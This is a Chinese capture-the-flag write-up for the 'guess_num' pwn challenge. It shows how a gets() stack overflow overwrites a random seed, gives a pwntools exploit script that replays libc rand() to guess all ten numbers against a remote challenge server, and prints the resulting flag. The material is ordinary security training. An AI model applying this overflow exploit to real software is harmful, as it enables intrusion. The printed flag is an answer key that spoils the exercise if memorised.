收获

  • 栈溢出漏洞

  • 通过 Python 实现 C 语言函数的运行,利用 ctypes 库和 cdll.LoadLibrary("libc.so.6")

  • 通过编写脚本来 PWN 通程序中函数的逻辑


【攻防世界】guess_num


思路

查看文件信息:

攻防世界-guess_num1.png

64位 小端序,金丝雀、栈不可执行、地址随机化全都开启

尝试执行:

攻防世界-guess_num2.png

打开 IDA 分析:

攻防世界-guess_num3.png

发现随机数种子 seed,且存在 gets() 这种明显的漏洞函数

函数 sub_BB0() 用来生成随机数种子:

攻防世界-guess_num4.png

puts("Success!") 后执行了函数 sub_C3E() 跟进:

攻防世界-guess_num5.png

该函数会执行 system("cat flag"),说明只要让这个函数执行就可以得到 flag,即:保持 for 循环不会中途退出

分析 for 循环的逻辑:
总共循环 10 次,并且每次循环会根据 v6 = rand() % 6 + 1 生成一个随机数 v6,然后让用户输入一个 v4,只有当 v4 == v6 才能让循环继续下去

观察栈中数据的位置:

攻防世界-guess_num6.png

发现用户输入的 v7 在随机数种子 seed 的上方,而且用户的输入在函数 sub_BB0() 生成随机数种子的操作之后,因此可以通过将 v7 溢出从而修改随机数种子 seed 的值

这样就可以得到 v6 = rand() % 6 + 1 所产生的所有伪随机数,之后编写脚本将所有产生的 v6 作为输入发送过去,就可以实现猜中所有的随机数了

注意,在 Python 中,可以通过 from ctypes import * 引入 C 语言库,用 lib = cdll.LoadLibrary("libc.so.6") 导入 C 运行库,就可以使用 lib 来执行 C 语言的函数了


脚本

from pwn import *
from ctypes import *  # 导入ctypes库使Python可以执行C语言的函数

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口
global io


def srand():
    global io
    lib = cdll.LoadLibrary("libc.so.6")  # C运行库
    lib.srand(1)  # 根据ida的伪代码,先将种子设为1

    for i in range(10):
        number = str(lib.rand() % 6 + 1)  # 执行随机函数,即:v6 = rand() % 6 + 1;
        io.recvuntil("Please input your guess number:")
        io.sendline(number)


def main():
    global io
    if content == 1:
        io = process("./guess_num")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 49792)  # 题目的远程端口,注意是remote

    payload = b'a' * (0x30 - 0x10) + p64(1)  # 填充垃圾字符,并将seed覆盖为1

    io.recvuntil("Your name:")
    io.sendline(payload)  # 第一次输入,可随便输入
    srand()  # 执行srand函数保证每次都能猜中

    io.interactive()  # 接收回显


main()

结果

cyberpeace{a1d36b526f5cc7080c63a2338ee0255b}

攻防世界-guess_num7.png